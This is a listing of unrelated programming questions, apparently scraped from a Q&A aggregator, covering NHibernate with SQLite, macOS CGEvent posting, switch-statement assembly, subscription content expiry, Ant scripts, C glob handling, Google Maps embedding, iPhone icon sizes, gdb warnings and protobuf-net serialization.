    Okay, here is my problem... I created a Data Layer using the RTM Fluent Nhibernate. My create session code looks like this: _session = Fluently.Configure(). Database(SQLiteConfiguration.Standard.UsingFile("Data.s3db")) .Mappings( m => { m.FluentMappings.AddFromAssemblyOf<ProductMap>(); m.FluentMappings.AddFromAssemblyOf<ProductLogMap>(); }) .ExposeConfiguration(BuildSchema) .BuildSessionFactory(); When I reference the module in a test project, then create a test fixture that looks something like this: [Test] public void CanAddProduct() { var product = new Product {Code = "9", Name = "Test 9"}; IProductRepository repository = new ProductRepository(); repository.AddProduct(product); using (ISession session = OrmHelper.OpenSession()) { var fromDb = session.Get<Product>(product.Id); Assert.IsNotNull(fromDb); Assert.AreNotSame(fromDb, product); Assert.AreEqual(fromDb.Id, product.Id); } My tests pass. When I open up the created SQLite DB, the new Product with Code 9 is in it. the tables for Product and ProductLog are there. Now, when I create a new console application, and reference the same library, do something like this: Product product = new Product() {Code = "10", Name = "Hello"}; IProductRepository repository = new ProductRepository(); repository.AddProduct(product); Console.WriteLine(product.Id); Console.ReadLine(); It doesn't work. I actually get pretty nasty exception chain. To save you lots of head aches, here is the summary: Top Level exception: An invalid or incomplete configuration was used while creating a SessionFactory. Check PotentialReasons collection, and InnerException for more detail.\r\n\r\n The PotentialReasons collection is empty The Inner exception: The IDbCommand and IDbConnection implementation in the assembly System.Data.SQLite could not be found. Ensure that the assembly System.Data.SQLite is located in the application directory or in the Global Assembly Cache. If the assembly is in the GAC, use element in the application configuration file to specify the full name of the assembly. Both the unit test library and the console application reference the exact same version of System.Data.SQLite. Both projects have the exact same DLLs in the debug folder. I even tried copying SQLite DB the unit test library created into the debug directory of the console app, and removed the build schema lines and it still fails If anyone can help me figure out why this won't work outside of my unit tests it would be greatly appreciated. This crazy bug has me at a stand still.

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  • Strange behaviour when posting CGEvent to PSN

    - by Ben Packard
    If I set up a loop that posts some keyboard events to a PSN, I find that it works fine except for when first launched. The event only seems to post when i do something with the mouse manually - even just moving it slightly. Here's the details, if they help. An external application has a list box of text lines, which I am reading by posting copy commands (and checking the pasteboard). Unfortunately this is my only way to get this text. Sometimes, the application pulls focus away from the list, which I can detect. When this happens, the most reliable way to return focus is by sending a mouse event to click on a text field directly above the list, then send a 'tab' keyboard event to shift the focus onto the list. So at launch, the loop runs fine, scrolling down the list and copying the text. When focus is shifted away, its is detected fine, and the events are sent to move focus back to the list. But nothing seems to happen. The loop continues detecting that focus has changed, but the events only work once I move the mouse. Or even just use the scroll wheel. Strange. Once this has happened the first time, it works fine - each time focus moves, the PSN events switch it back without me having to do anything at all. Here's the code that runs in the loop - verified as working: //copy to pasteboard - CMD-V e3 = CGEventCreateKeyboardEvent(NULL, (CGKeyCode)8, true); CGEventSetFlags(e3, kCGEventFlagMaskCommand); CGEventPostToPSN(&psn, e3); CFRelease(e3); e4 = CGEventCreateKeyboardEvent(NULL, (CGKeyCode)8, false); CGEventPostToPSN(&psn, e4); CFRelease(e4); //move cursor down e1 = CGEventCreateKeyboardEvent(NULL, (CGKeyCode)125, true); CGEventPostToPSN(&psn, e1); CFRelease(e1); e2 = CGEventCreateKeyboardEvent(NULL, (CGKeyCode)125, false); CGEventPostToPSN(&psn, e2); CFRelease(e2); And here's where I switch focus, also working (except when first required): //click in text input box - point is derived earlier e6 = CGEventCreateMouseEvent(NULL, kCGEventLeftMouseDown, point, 0); CGEventPostToPSN(&psn, e6); CFRelease(e6); e7 = CGEventCreateMouseEvent(NULL, kCGEventLeftMouseUp, point, 0); CGEventPostToPSN(&psn, e7); CFRelease(e7); //press tab key to move to chat log table CGEventRef e = CGEventCreateKeyboardEvent(NULL, (CGKeyCode)48, true); //CGEventPost(kCGSessionEventTap, e); CGEventPostToPSN(&psn, e); CFRelease(e); CGEventRef e11 = CGEventCreateKeyboardEvent(NULL, (CGKeyCode)48, false); CGEventPostToPSN(&psn, e11); CFRelease(e11);

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  • Switch case assembly level code

    - by puffadder
    Hi All, I am programming C on cygwin windows. After having done a bit of C programming and getting comfortable with the language, I wanted to look under the hood and see what the compiler is doing for the code that I write. So I wrote down a code block containing switch case statements and converted them into assembly using: gcc -S foo.c Here is the C source: switch(i) { case 1: { printf("Case 1\n"); break; } case 2: { printf("Case 2\n"); break; } case 3: { printf("Case 3\n"); break; } case 4: { printf("Case 4\n"); break; } case 5: { printf("Case 5\n"); break; } case 6: { printf("Case 6\n"); break; } case 7: { printf("Case 7\n"); break; } case 8: { printf("Case 8\n"); break; } case 9: { printf("Case 9\n"); break; } case 10: { printf("Case 10\n"); break; } default: { printf("Nothing\n"); break; } } Now the resultant assembly for the same is: movl $5, -4(%ebp) cmpl $10, -4(%ebp) ja L13 movl -4(%ebp), %eax sall $2, %eax movl L14(%eax), %eax jmp *%eax .section .rdata,"dr" .align 4 L14: .long L13 .long L3 .long L4 .long L5 .long L6 .long L7 .long L8 .long L9 .long L10 .long L11 .long L12 .text L3: movl $LC0, (%esp) call _printf jmp L2 L4: movl $LC1, (%esp) call _printf jmp L2 L5: movl $LC2, (%esp) call _printf jmp L2 L6: movl $LC3, (%esp) call _printf jmp L2 L7: movl $LC4, (%esp) call _printf jmp L2 L8: movl $LC5, (%esp) call _printf jmp L2 L9: movl $LC6, (%esp) call _printf jmp L2 L10: movl $LC7, (%esp) call _printf jmp L2 L11: movl $LC8, (%esp) call _printf jmp L2 L12: movl $LC9, (%esp) call _printf jmp L2 L13: movl $LC10, (%esp) call _printf L2: Now, in the assembly, the code is first checking the last case (i.e. case 10) first. This is very strange. And then it is copying 'i' into 'eax' and doing things that are beyond me. I have heard that the compiler implements some jump table for switch..case. Is it what this code is doing? Or what is it doing and why? Because in case of less number of cases, the code is pretty similar to that generated for if...else ladder, but when number of cases increases, this unusual-looking implementation is seen. Thanks in advance.

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  • A scheme for expiring downloaded content?

    - by Chad Johnson
    I am going to offer a web API service that allows users to download and "rent" content for a monthly subscription fee. The API will either be open to everyone or possibly just select parties (not sure yet). Each developer must agree to a license, and they receive a developer key for their person. Each software application will have its own key as well. So then end-users will download the software which will interact with my service's API. Each user will have a key for each application as well (probably using OAuth). Content will be cached on first download and accessible offline via just the third-party application that cached the content. If a user cancels their subscription, I plan on doing the following: Deactivate the user's OAuth key for all applications. Do not allow the user's account to download new content via the API (and subsequently any software that uses the API). Now, the big question is: how do I make content expire if they cancel their subscription? If they cancel, they should not have access to content anymore. Here are ideas I've thought of (some of these are half-solutions, not yet fully fleshed out): Require that applications encrypt downloaded content using the user's OAuth key, making it available to only the application. This will prevent most users from going to the cache directory and just copying and keeping files. Update the user's key once a month, forcing content to re-cache on a monthly basic. Users could then access content for a month after they cancel their subscription. Require applications to "phone home" [to the service] periodically and check whether the user's subscription has terminated. If so, require in the API developer license that applications expire cache. If it is found that applications do not comply, their keys (and possibly keys for all developers) are permanently deactivated as a consequence. One major worry is that some applications may blatantly ignore constraints of the license. Is it generally acceptable to rely on applications abiding by the licensing constraints? Bad idea? Any other ideas? Maybe a way to make content auto-expire after x days? Something else? I'm open to out-of-the-box ideas.

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  • Generate MetaData with ANT

    - by Neil Foley
    I have a folder structure that contains multiple javascript files, each of these files need a standard piece of text at the top = //@include "includes.js" Each folder needs to contain a file named includes.js that has an include entry for each file in its directory and and entry for the include file in its parent directory. I'm trying to achive this using ant and its not going too well. So far I have the following, which does the job of inserting the header but not without actually moving or copying the file. I have heard people mentioning the <replace> task to do this but am a bit stumped. <?xml version="1.0" encoding="UTF-8"?> <project name="JavaContentAssist" default="start" basedir="."> <taskdef resource="net/sf/antcontrib/antcontrib.properties"> <classpath> <pathelement location="C:/dr_workspaces/Maven Repository/.m2/repository/ant-contrib/ant-contrib/20020829/ant-contrib-20020829.jar"/> </classpath> </taskdef> <target name="start"> <foreach target="strip" param="file"> <fileset dir="${basedir}"> <include name="**/*.js"/> <exclude name="**/includes.js"/> </fileset> </foreach> </target> <target name="strip"> <move file="${file}" tofile="${a_location}" overwrite="true"> <filterchain> <striplinecomments> <comment value="//@" /> </striplinecomments> <concatfilter prepend="${basedir}/header.txt"> </concatfilter> </filterchain> </move> </target> </project> As for the generation of the include files in the dir I'm not sure where to start at all. I'd appreciate if somebody could point me in the right direction.

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  • How to overwrite an array of char pointers with a larger list of char pointers?

    - by Casey
    My function is being passed a struct containing, among other things, a NULL terminated array of pointers to words making up a command with arguments. I'm performing a glob match on the list of arguments, to expand them into a full list of files, then I want to replace the passed argument array with the new expanded one. The globbing is working fine, that is, g.gl_pathv is populated with the list of expected files. However, I am having trouble copying this array into the struct I was given. #include <glob.h> struct command { char **argv; // other fields... } void myFunction( struct command * cmd ) { char **p = cmd->argv; char* program = *p++; // save the program name (e.g 'ls', and increment to the first argument glob_t g; memset(&g, 0, sizeof(g)); g.gl_offs = 1; int res = glob(*p++, GLOB_DOOFFS, NULL, &g); glob_handle_res(res); while (*p) { res = glob(*p, GLOB_DOOFFS | GLOB_APPEND, NULL, &g); glob_handle_res(res); } if( g.gl_pathc <= 0 ) { globfree(&g); } cmd->argv = malloc((g.gl_pathc + g.gl_offs) * sizeof *cmd->argv); if (cmd->argv == NULL) { sys_fatal_error("pattern_expand: malloc failed\n");} // copy over the arguments size_t i = g.gl_offs; for (; i < g.gl_pathc + g.gl_offs; ++i) cmd->argv[i] = strdup(g.gl_pathv[i]); // insert the original program name cmd->argv[0] = strdup(program); ** cmd->argv[g.gl_pathc + g.gl_offs] = 0; ** globfree(&g); } void command_free(struct esh_command * cmd) { char ** p = cmd->argv; while (*p) { free(*p++); // Segfaults here, was it already freed? } free(cmd->argv); free(cmd); } Edit 1: Also, I realized I need to stick program back in there as cmd-argv[0] Edit 2: Added call to calloc Edit 3: Edit mem management with tips from Alok Edit 4: More tips from alok Edit 5: Almost working.. the app segfaults when freeing the command struct Finally: Seems like I was missing the terminating NULL, so adding the line: cmd->argv[g.gl_pathc + g.gl_offs] = 0; seemed to make it work.

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  • Javascript and the Google Maps API

    - by Tiny Giant Studios
    Hiya coding Ninja's I'm in a spot of bother and my hairline is on the chopping block. When I integrated the maps API on this site, ritaknoetze.com, everything worked perfectly. However, copying that exact code for a different demo website, scarabpaper, the map doesn't show up at all? Could someone show me the ropes on what I'm doing wrong? Here's the code I got from Google itself that I modified for my WordPress theme/installation: JavaScript: <meta name="viewport" content="initial-scale=1.0, user-scalable=no" /> <script type="text/javascript" src="http://maps.google.com/maps/api/js?sensor=false"></script> <script type="text/javascript"> function initialize() { var myLatlng = new google.maps.LatLng(-34.009839, 22.78101); var myOptions = { zoom: 9, center: myLatlng, navigationControl: true, mapTypeControl: false, scaleControl: false, mapTypeId: google.maps.MapTypeId.ROADMAP } var map = new google.maps.Map(document.getElementById("map_canvas"), myOptions); var image = '<?php bloginfo('template_url')?>/assets/googlemaps_marker.png'; var myLatLng = new google.maps.LatLng(-34.009839, 22.78101); var beachMarker = new google.maps.Marker({ position: myLatLng, map: map, icon: image }); } </script> My HTML where the javascript goes: <div class="contact_container"> <div id="map_canvas"></div> <div class="clearfloat"></div> </div> My CSS for the affected divs #map_canvas { width: 880px; height: 300px; margin-left: 10px; margin-bottom: 30px; margin-top: 10px; float: left; border: 1px solid #dedcdc;} .contact_container { /*container for ALL the contact info*/ background-color: #fff; border: 1px solid #dedcdc; width: 900px; margin-top: 30px; padding: 20px; padding-bottom: 0;} Any Help would be greatly appreciated...

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  • iPhone Image Resources, ICO vs PNG, app bundle filesize

    - by Jasarien
    My application has a collection of around 1940 icons that are used throughout. They're currently in ICO and new images provided to me come in ICO format too. I have noticed that they contain a 16x16 and 32x32 representation of each icon in one file. Each file is roughly 4KB in filesize (as reported by finder, but ls reports that they vary from being ~1000 bytes to 5000 bytes) A very small number of these icons only contain the 32x32 representation, and as a result are only around 700 bytes in size. Currently I am bundling these icons with my application and they are inflating the size of the app a bit more than I would like. Altogether, the images total just about 25.5MB. Xcode must do some kind of compression because the resulting app bundle is about 12.4MB. Compressing this further into a ZIP (as it would be when submitted to the App Store), results in a final file of 5.8MB. I'm aware that the maximum limit for over the air App Store downloads has been raised to 20MB since the introduction of the iPad (I'm not sure if that extends to iPhone apps as well as iPad apps though, if not the limit would be 10MB). My worry is that new icons are going to be added (sometimes up to 10 icons per week), and will continue to inflate the app bundle over time. What is the best way to distribute these icons with my app? Things I've tried and not had much success with: Converting the icons from ICO to PNG: I tried this in the hopes that the pngcrush utility would help out with the filesize. But it appears that it doesn't make much of a difference between a normal PNG and a crushed png (I believe it just optimises the image for display on the iPhone's GPU rather than compress it's size). Also in going from ICO to PNG actually increased the size of the icon file... Zipping the images, and then uncompressing them on first run. While this did reduce the overall image sizes, I found that the effort needed to unzip them, copy them to the documents folder and ensure that duplication doesn't happen on upgrades was too much hassle to be worth the benefit. Also, on original and 3G iPhones unzipping and copying around 25MB of images takes too long and creates a bad experience... Things I've considered but not yet tried: Instead of distributing the icons within the app bundle, host them online, and download each icon on demand (it depends on the user's data as to which icons will actually be displayed and when). Issues with this is that bandwidth costs money, and image downloads will be bandwidth intensive. However, my app currently has a small userbase of around 5,500 users (of which I estimate around 1500 to be active based on Flurry stats), and I have a huge unused bandwidth allowance with my current hosting package. So I'm open to thoughts on how to solve this tricky issue.

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  • iPhone Debugger Message -- Weird

    - by Bill Shiff
    Hello, I have an iPhone app that I've been working on and have recently upgraded my version of XCode. Since the upgrade, I can build and debug in the iPhone Simulator just fine, but when I try to debug on an attached device I get the following messages: From Xcode4: GNU gdb 6.3.50-20050815 (Apple version gdb-1510) (Fri Oct 22 04:12:10 UTC 2010) Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "--host=i386-apple-darwin --target=arm-apple-darwin".tty /dev/ttys001 sharedlibrary apply-load-rules all warning: Unable to read symbols from "dyld" (prefix __dyld_) (not yet mapped into memory). warning: Unable to read symbols for (null)/Library/Frameworks/MessageUI.framework/MessageUI (file not found). warning: Unable to read symbols from "MessageUI" (not yet mapped into memory). warning: Unable to read symbols for (null)/Library/Frameworks/MapKit.framework/MapKit (file not found). warning: Unable to read symbols from "MapKit" (not yet mapped into memory). warning: Unable to read symbols from "Foundation" (not yet mapped into memory). warning: Unable to read symbols for (null)/Library/Frameworks/UIKit.framework/UIKit (file not found). warning: Unable to read symbols from "UIKit" (not yet mapped into memory). warning: Unable to read symbols for (null)/Library/Frameworks/CoreGraphics.framework/CoreGraphics (file not found). warning: Unable to read symbols from "CoreGraphics" (not yet mapped into memory). warning: Unable to read symbols from "CoreData" (not yet mapped into memory). warning: Unable to read symbols from "QuartzCore" (not yet mapped into memory). warning: Unable to read symbols from "libgcc_s.1.dylib" (not yet mapped into memory). warning: Unable to read symbols from "libSystem.B.dylib" (not yet mapped into memory). warning: Unable to read symbols from "libobjc.A.dylib" (not yet mapped into memory). warning: Unable to read symbols from "CoreFoundation" (not yet mapped into memory). target remote-mobile /tmp/.XcodeGDBRemote-3836-28 Switching to remote-macosx protocol mem 0x1000 0x3fffffff cache mem 0x40000000 0xffffffff none mem 0x00000000 0x0fff none [Switching to thread 11523] [Switching to thread 11523] gdb stack crawl at point of internal error: 0 gdb-arm-apple-darwin 0x0013216e internal_vproblem + 316

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  • Serialization of non-required fields in protobuf-net

    - by David Hedlund
    I have a working java client that is communicating with Google, through ProtoBuf serialized messages. I am currently trying to translate that client into C#. I have a .proto file where the parameter appId is an optional string. Its default value in the C# representation as generated by the protobuf-net library is an empty string, just as it is in the java representation of the same file. message AppsRequest { optional AppType appType = 1; optional string query = 2; optional string categoryId = 3; optional string appId = 4; optional bool withExtendedInfo = 6; } I find that when I explicitly set appId to "" in the java client, the client stops working (403 Bad Request from Google). When I explicitly set appId to null in the java client, everything works, but only because hasAppId is being set to false (I'm uncertain as to how that affects the serialization). In the C# client, I always get 403 responses. I don't see any logic behind the distinction between not setting a value, and setting the default value, that seems to make all the difference in the java client. Since the output is always a binary stream, I am not sure if the successful java messages are being serialized with an empty string, or not serialized at all. In the C# client, I've tried setting IsRequired to true on the ProtoMember attribute, to force them to serialize, and I've tried setting the default value to null, and explicitly set "", so I'm quite sure I've tried some configuration where the value is being serialized. I've also played around with ProtoBuf.ProtoIgnore and at some point, removing the appId parameter altogether, but I haven't been able to avoid the 403 errors in C#. I've tried manually copying the serialized string from java, and that resolved my issues, so I'm certain that the rest of the HTTP Request is working, and the error can be traced to the serialized object. My serialization is simply this: var clone = ProtoBuf.Serializer.DeepClone(request); MemoryStream ms = new MemoryStream(2000); ProtoBuf.Serializer.Serialize(ms, clone); var bytearr = ms.ToArray(); string encodedData = Convert.ToBase64String(bytearr); I'll admit to not being quite sure about what DeepClone does. I've tried both with and without it...

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